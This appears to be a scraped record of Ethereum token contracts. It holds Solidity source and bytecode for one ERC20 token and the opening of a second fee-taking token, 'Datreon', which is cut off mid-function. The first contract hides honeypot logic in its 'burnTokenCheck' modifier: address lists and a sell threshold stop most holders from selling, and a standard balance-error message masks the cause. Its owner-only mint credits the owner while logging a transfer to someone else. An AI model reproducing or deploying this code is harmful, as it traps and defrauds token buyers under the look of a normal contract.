_beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122048a2910420c7918fac7dc894b167efbb24c9a2d78f36b608958e768807f371da64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,848
0x53023fe48086511ff3ec206f2301dcdeff590047
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /* https://t.me/datreon https://datreon.media/ https://twitter.com/DatreonETH */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Datreon is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"Datreon"; string public constant symbol = unicode"Datreon"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 11; uint public _sellFee = 11; uint private _feeRate = 15; uint public _maxBuyTokens; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen); if((_launchedAt + (3 minutes)) > block.timestamp) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); 